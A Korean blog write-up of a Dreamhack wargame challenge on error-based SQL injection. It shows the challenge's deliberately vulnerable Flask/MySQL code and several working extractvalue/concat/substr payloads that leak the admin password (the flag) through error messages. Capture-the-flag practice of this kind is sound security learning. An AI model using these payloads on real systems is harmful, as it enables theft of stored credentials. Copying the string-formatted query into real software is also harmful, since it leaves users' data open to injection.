해킹공부/Dreamhack

[Dreamhack] error based sql injection

밍구21 2022. 11. 22. 22:25

두둥뙇 오늘의 문제.

 

 

 

문제 페이지로 넘어왔을 때 뜨는 화면이다. 입력칸에 문자를 쓴 뒤 submit을 클릭하면 페이지 상단 '{   }'박스 부분에 출력이 된다. 페이지 작동을 대충 봤으니 코드로 넘어가보도록 하자.

 

 

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)

코드 중에서 중요하다고 생각되는 두 부분이다.  첫번째 코드는 내가 입력한 것이 sql에 어떻게 들어가는지 알 수 있는 쿼리문이다. 내가 입력한 값은 '{uid}'부분으로 들어갈 것이다.

그리고 그대로 uid 값이 출력되는 걸 두 번째 코드에서 알 수 있다.

 

 

 

위는 문제 코드와 같이 첨부되어 있던 메모이다.

 

-uid가 admin일 때 pwd값이 FLAG라는 점

-데이터 베이스의 내부구조

key uid upw
0 admin "플래그"
1 guest guest
2 test test

두 가지를 알 수 있었다.

 

 

 

 

 

그럼 다시 문제 페이지로 돌아가서!

 

 

 

 

 

sql 인젝션이 되는지 확인하기 위해 아래 코드를 입력해보았다.

1' and extractvalue(0x0a,concat(0x0a,concat(0x0a,(select database()))));--

 

sql 인젝션 코드는 인터넷에 검색하면 다양하게 찾을 수 있다. 그 중 extractvalue함수를 사용한 위 같은 형태의 코드가 대표적이다. 1'를 사용하여 입력값을 닫아준 뒤 and 연산자를 사용해 공격에 사용할 코드를 넣어준다. 

-extractvalue(): 

위와 같은 함수인데  sql인젝션을 위해서는 사실 첨부한 설명보다는 내가 쓴 코드를 이해하는 게 편할 것이다. 첫번째 인자로는 0x0a(\n)나 0x3a(:) 같은 문자열을 넣어준다(사실 아무문자나 상관 없다). 두 번째 인자로는 concat()을 사용해 안에 원하는 쿼리문을 입력해준다.

우리처럼 입력하면  3번째 사진처럼 오류가 뜨는데, 우리는 이 결과를 이용해서 sql injection을 해줄 것이다.

 

-concat():

 

문자열을 이어서 출력해주는 함수이다. 우리는 첫번째 인자로는 아무값(보통은 위에서 언급한 0x0a(\n)나 0x3a(:) 같은 문자열)을 넣어주고 두 번째 인자로 SELECT문을 입력해준다.

 

암튼! 위 값을 입력해준 결과는

위와 같다. 에러값을 통해 users라는 데이터베이스명을 얻을 수 있었다. 데이터베이스명이 users라는 것은 문제코드와 제공된 메모에서 확인할 수 있었다. 이를 통해 sql injection이 가능하다는 걸 알았다.

 

근데 결과값을 보니 입력 쿼리에 괜히 concat을 두 번 쓴 것을 보았다.

1' and extractvalue(concat(0x0a,(select database())));--

를 입력하면 0x0a가 한 번 들어가서 \n도 한 번 떠서 결과가 더 깔끔할듯! 0x0a를 쓰니 결과가 안 깔끔해보여서 아래부터는 0x3a(:)를 쓰려고 한다.

 

 

 

 

 

 

이제 나는 0번 행의 upw값을 알고 싶으니 아래 코드를 입력해준다.

 

1' and extractvalue(0x3a,concat(0x3a,(SELECT concat(uid,0x3a,upw) FROM user LIMIT 0,1)));--

LIMIT 0,1을 통해 0번행부터 1개의 행으로 범위를 제한 시킨 뒤 concat()을 통해 uid와 0x3a(:), upd을 한 문자열로 합쳐주었다, 그 결과 오류문으로 플래그가 출력되는 걸 볼 수 있었다. 근데 플래그 값이 길어서 잘린다...

 

 

 

어떻게 해줄까 하다가 위 쿼리문보다 출력 결과가 짧을 수 있도록 수정해주었다.

1' and extractvalue(0x3a,concat(0x3a,(SELECT upw FROM user LIMIT 0,1)));--

uid부분을 생략해서 출력한 결과이다. 하지만 여전히 플래그 뒷부분은 확인할 수 없었다.

 

 

 

 

1' and extractvalue(0x3a,concat(0x3a,(SELECT substr(upw,20,25) FROM user LIMIT 0,1)));--

뒷 부분을 출력해줄 방법으로 이전 sql injection에 사용한 substr()을 이용했다. upw의 20번째 문자열부터 25개의 문자열을 추출시켜주었다.

 

-substr(): 문자열 반환함수.

 

나온 플래그값을 이어붙이면 끝!